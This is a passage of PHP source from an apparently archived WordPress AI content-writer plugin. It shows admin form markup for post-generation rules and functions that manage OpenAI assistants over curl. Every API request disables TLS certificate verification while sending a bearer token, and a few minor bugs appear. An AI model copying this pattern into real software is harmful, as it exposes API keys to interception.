'aiomatic-automatic-ai-content-writer') . '</option>'; $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { $output .= '<option value="' . esc_html($user->ID) . '"'; if ($post_user_name == $user->ID) { $output .= " selected"; } $output .= '>' . esc_html($user->display_name) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Status", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_rules_list[submit_status][]" class="cr_width_full"> <option value="pending"'; if ($status == 'pending') { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if ($status == 'draft') { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="publish"'; if ($status == 'publish') { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if ($status == 'private') { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if ($status == 'trash') { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Item Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_rules_list[default_type][]" class="cr_width_full">'; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } $output .= '<option value="' . esc_attr($post_type) . '"'; if ($def_type == $post_type) { $output .= ' selected'; } $output .= '>' . esc_html($post_type) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__('If your template supports "Post Formats", than you can select one here. If not, leave this at it\'s default value.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Post Format", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" id="post_format" name="aiomatic_rules_list[post_format][]" class="cr_width_full"> <option value="post-format-standard"'; if ($post_format == 'post-format-standard') { $output .= ' selected'; } $output .= '>' . esc_html__("Standard", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-aside"'; if ($post_format == 'post-format-aside') { $output .= ' selected'; } $output .= '>' . esc_html__("Aside", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-gallery"'; if ($post_format == 'post-format-gallery') { $output .= ' selected'; } $output .= '>' . esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-link"'; if ($post_format == 'post-format-link') { $output .= ' selected'; } $output .= '>' . esc_html__("Link", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-image"'; if ($post_format == 'post-format-image') { $output .= ' selected'; } $output .= '>' . esc_html__("Image", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-quote"'; if ($post_format == 'post-format-quote') { $output .= ' selected'; } $output .= '>' . esc_html__("Quote", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-status"'; if ($post_format == 'post-format-status') { $output .= ' selected'; } $output .= '>' . esc_html__("Status", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-video"'; if ($post_format == 'post-format-video') { $output .= ' selected'; } $output .= '>' . esc_html__("Video", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-audio"'; if ($post_format == 'post-format-audio') { $output .= ' selected'; } $output .= '>' . esc_html__("Audio", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-chat"'; if ($post_format == 'post-format-chat') { $output .= ' selected'; } $output .= '>' . esc_html__("Chat", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Parent ID", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_rules_list[parent_id][]" value="' . esc_attr($parent_id) . '" placeholder="Post parent ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Comments For Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_comments" name="aiomatic_rules_list[enable_comments][]"'; if ($enable_comments == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable pingbacks and trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Pingback/Trackback", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_pingback" name="aiomatic_rules_list[enable_pingback][]"'; if ($enable_pingback == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ) . ' </div> </div> <b>' . esc_html__("Set a Custom Post Publish Date Range", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="min_time" name="aiomatic_rules_list[min_time][]" value="' . esc_attr($min_time) . '" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_rules_list[max_time][]" value="' . esc_attr($max_time) . '" placeholder="End time" class="cr_half"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Fields", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_rules_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_fields) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Taxonomies", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_rules_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_tax) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Assign WPML/Polylang Language to Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_rules_list[wpml_lang][]" value="' . esc_attr($wpml_lang) . '" placeholder="WPML/Polylang language" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Run This Rule On The Following Days Of The Week", 'aiomatic-automatic-ai-content-writer') . ':</b> <br/>' . esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s") . ' </td><td> <input type="text" class="cr_width_full" name="aiomatic_rules_list[days_no_run][]" value="' . esc_attr($days_no_run) . '" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </div> </td></tr> </table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_rules_list[active][]" class="activateDeactivateClass" value="1"'; if (isset($active) && $active === '1') { $output .= ' checked'; } $output .= '/> <input type="hidden" name="aiomatic_rules_list[last_run][]" value="' . esc_attr($last_run) . '"/> <input type="hidden" name="aiomatic_rules_list[rule_unique_id][]" value="' . esc_attr($rule_unique_id) . '"/></td> <td class="cr_shrt_td2"><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( 'Shortcode for this rule<br/>(to cross-post from this plugin in other plugins):', 'aiomatic-automatic-ai-content-writer'), array( 'br' => array( ) ) ) ) . '<br/><b>%%aiomatic_0_' . esc_html($cont) . '%% and %%aiomatic_title_0_' . esc_html($cont) . '%%</b><br/>' . esc_html__('Posts Generated:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($generated_posts) . '<br/>'; if ($generated_posts != 0) { $output .= '<a href="' . get_admin_url() . 'edit.php?coderevolution_post_source=Aiomatic_0_' . esc_html($cont) . '&post_type=' . esc_html($def_type) . '" target="_blank">' . esc_html__('View Generated Posts', 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; } $output .= esc_html__('Last Run: ', 'aiomatic-automatic-ai-content-writer'); if ($last_run == '1988-01-27 00:00:00') { $output .= 'Never'; } else { $output .= $last_run; } $output .= '<br/>' . esc_html__('Next Run: ', 'aiomatic-automatic-ai-content-writer'); if($unlocker == '1') { $nextrun = aiomatic_add_minute($last_run, $schedule); } else { $nextrun = aiomatic_add_hour($last_run, $schedule); } $now = aiomatic_get_date_now(); if (isset($active) && $active === '1') { if($unlocker == '1') { $aiomatic_hour_diff = (int)aiomatic_minute_diff($now, $nextrun); } else { $aiomatic_hour_diff = (int)aiomatic_hour_diff($now, $nextrun); } if ($aiomatic_hour_diff >= 0) { if($unlocker == '1') { $append = 'Now.'; } else { $append = 'Now.'; } $cron = _get_cron_array(); if ($cron != FALSE) { $date_format = _x('Y-m-d H:i:s', 'Date Time Format1', 'aiomatic-automatic-ai-content-writer'); foreach ($cron as $timestamp => $cronhooks) { foreach ((array) $cronhooks as $hook => $events) { if ($hook == 'aiomaticaction') { foreach ((array) $events as $key => $event) { $append = date_i18n($date_format, $timestamp); } } } } } $output .= $append; } else { $output .= $nextrun; } } else { $output .= esc_html__('Rule Disabled', 'aiomatic-automatic-ai-content-writer'); } $output .= '<br/>' . esc_html__('Local Time: ', 'aiomatic-automatic-ai-content-writer') . $now; $output .= '</div> </div></td> <td class="cr_center"> <div> <img id="run_img' . esc_html($cont) . '" src="' . plugin_dir_url(dirname(__FILE__)) . 'images/running.gif' . '" alt="Running" class="cr_status_icon'; if (!empty($running)) { if (!in_array(array($cont => 0), $running)) { $f = fopen(get_temp_dir() . 'aiomatic_0_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_0_' . $cont); } $output .= ' cr_hidden'; } else { $f = fopen(get_temp_dir() . 'aiomatic_0_' . $cont, 'w'); if($f !== false) { if (!flock($f, LOCK_EX | LOCK_NB)) { } else { $output .= ' cr_hidden'; flock($f, LOCK_UN); if (($xxkey = array_search(array($cont => 0), $running)) !== false) { unset($running[$xxkey]); update_option('aiomatic_running_list', $running); } } } } } else { $f = fopen(get_temp_dir() . 'aiomatic_0_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_0_' . $cont); } $output .= ' cr_hidden'; } $output .= '" title="status"> <div class="codemainfzr cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" onchange="actionsChangedManual(' . esc_html($cont) . ', this.value, 0, \'' . esc_html($rule_unique_id) . '\');" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected>' . esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="run">' . esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="duplicate">' . esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="up">' . esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="down">' . esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash">' . esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="delete">' . esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </div> </td> </tr> '; $cont = $cont + 1; } } return $output; } ?>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-assistants-api.php���������������������������������������������������������������������0000644�����������������00000270250�14757771437�0012631 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_openai_save_assistant($token, $model, $name, $description = null, $temperature = '', $topp = '', $instructions = null, $tools = [], $file_ids = [], $metadata = null, &$vector_store_id = '') { if (empty($metadata)) { $metadata = new stdClass(); } $url = 'https://api.openai.com/v1/assistants'; if(empty($name)) { throw new Exception('Name cannot be empty'); } if(empty($model)) { throw new Exception('Model cannot be empty'); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } if(is_array($file_ids) && count($file_ids) > 20) { $file_ids = array_slice($file_ids, 0, 20); } $tools_resource = new stdClass(); foreach($tools as $thist) { if($thist['type'] == 'code_interpreter') { $tools_resource->code_interpreter = new stdClass(); $tools_resource->code_interpreter->file_ids = $file_ids; } elseif($thist['type'] == 'file_search') { if(count($file_ids) > 0) { $tools_resource->file_search = new stdClass(); $tools_resource->file_search->vector_stores = array(); $vs = array(); $vs['file_ids'] = $file_ids; $tools_resource->file_search->vector_stores[] = $vs; } } } $postData = [ 'model' => $model, 'name' => $name, 'description' => $description, 'instructions' => $instructions, 'tools' => $tools, 'tool_resources' => $tools_resource, 'metadata' => $metadata ]; if(!empty($temperature)) { $postData['temperature'] = floatval($temperature); } if(!empty($topp)) { $postData['top_p'] = floatval($topp); } $ch = curl_init($url); if($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if($response === false) { curl_close($ch); if (curl_errno($ch)) { throw new Exception(curl_error($ch)); } throw new Exception('Failed to exec curl, unknown issue.'); } $jsdec = json_decode($response, true); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); if(isset($jsdec['tool_resources']['file_search']['vector_store_ids'][0])) { $vector_store_id = $jsdec['tool_resources']['file_search']['vector_store_ids'][0]; } return $jsdec; } function aiomatic_openai_modify_assistant($token, $assistant_id, $model = null, $name = null, $description = null, $instructions = null, $temperature = '', $topp = '', $tools = [], $file_ids = [], $metadata = null, &$vector_store_id = '', $address_post_id = '') { if (empty($metadata)) { $metadata = new stdClass(); } if (empty($assistant_id)) { throw new Exception('Assistant ID cannot be empty'); } $url = "https://api.openai.com/v1/assistants/" . $assistant_id; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $tools_resource = new stdClass(); foreach($tools as $thist) { if($thist['type'] == 'code_interpreter') { $tools_resource->code_interpreter = new stdClass(); $tools_resource->code_interpreter->file_ids = $file_ids; } elseif($thist['type'] == 'file_search') { if(count($file_ids) > 0) { if(!empty($vector_store_id)) { $solved = false; $ls_fid = []; try { $list_stores = aiomatic_openai_list_vector_store_files($token, $vector_store_id); } catch(Exception $e) { if(strstr($e->getMessage(), 'No vector store found with id') !== false) { $vs = aiomatic_openai_create_vector_store($token, 'New Vector Store', $file_ids); if(isset($vs['id'])) { $tools_resource->file_search = new stdClass(); $tools_resource->file_search->vector_store_ids = array($vs['id']); $vector_store_id = $vs['id']; if(!empty($address_post_id)) { update_post_meta($address_post_id, '_assistant_vector_store_id', $address_post_id); $solved = true; } } } else { throw $e; } } if(!$solved) { foreach($list_stores as $ls) { $ls_fid[] = $ls['id']; } foreach($file_ids as $fid) { if(!in_array($fid, $ls_fid)) { aiomatic_openai_create_vector_store_file($token, $vector_store_id, $fid); } } foreach($ls_fid as $fid) { if(!in_array($fid, $file_ids)) { aiomatic_openai_delete_vector_store_file($token, $vector_store_id, $fid); } } $tools_resource->file_search = new stdClass(); $tools_resource->file_search->vector_store_ids = array($vector_store_id); } } else { if($vector_store_id !== null) { $vs = aiomatic_openai_create_vector_store($token, 'New Vector Store', $file_ids); if(isset($vs['id'])) { $tools_resource->file_search = new stdClass(); $tools_resource->file_search->vector_store_ids = array($vs['id']); $vector_store_id = $vs['id']; if(!empty($address_post_id)) { update_post_meta($address_post_id, '_assistant_vector_store_id', $address_post_id); } } } } } else { $tools_resource->file_search = new stdClass(); $tools_resource->file_search->vector_store_ids = array(); } } } $postData = array_filter([ 'model' => $model, 'name' => $name, 'description' => $description, 'instructions' => $instructions, 'tools' => $tools, 'tool_resources' => $tools_resource, 'metadata' => $metadata ], function($value) { return !is_null($value); }); if(!empty($temperature)) { $postData['temperature'] = floatval($temperature); } if(!empty($topp)) { $postData['top_p'] = floatval($topp); } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP modify assistant request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_duplicate_assistant($token, $assistant_id, &$vector_store_id = '') { $existingAssistant = aiomatic_openai_retrieve_assistant($token, $assistant_id); if (empty($existingAssistant) || $existingAssistant['id'] != $assistant_id) { throw new Exception('Failed to retrieve the assistant to duplicate'); } $name = $existingAssistant['name'] . ' (Copy)'; $description = $existingAssistant['description']; $model = $existingAssistant['model']; $instructions = $existingAssistant['instructions']; $tools = $existingAssistant['tools']; $temperature = $existingAssistant['temperature']; $topp = $existingAssistant['top_p']; if(isset($existingAssistant['tool_resources']['code_interpreter']['file_ids'])) { $file_ids = $existingAssistant['tool_resources']['code_interpreter']['file_ids']; } else { $file_ids = array(); } if(!is_object($existingAssistant['metadata'])) { $existingAssistant['metadata'] = new stdClass(); } $metadata = $existingAssistant['metadata']; $newAssistant = aiomatic_openai_save_assistant($token, $model, $name, $description, $temperature, $topp, $instructions, $tools, $file_ids, $metadata, $vector_store_id); return $newAssistant; } function aiomatic_openai_delete_assistant($token, $assistant_id) { if(empty($assistant_id)) { throw new Exception('Assistant ID cannot be empty'); } $url = 'https://api.openai.com/v1/assistants/' . $assistant_id; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('Curl error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $jsdec = json_decode($response, true); $error = curl_error($ch); curl_close($ch); throw new Exception("Response with Status Code: " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_list_assistants($token, $limit = 100, $order = 'desc') { $assistants = []; $has_more = true; $after = null; while ($has_more) { $url = 'https://api.openai.com/v1/assistants?limit=' . $limit . '&order=' . $order; if ($after) { $url .= '&after=' . $after; } $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to init curl'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && 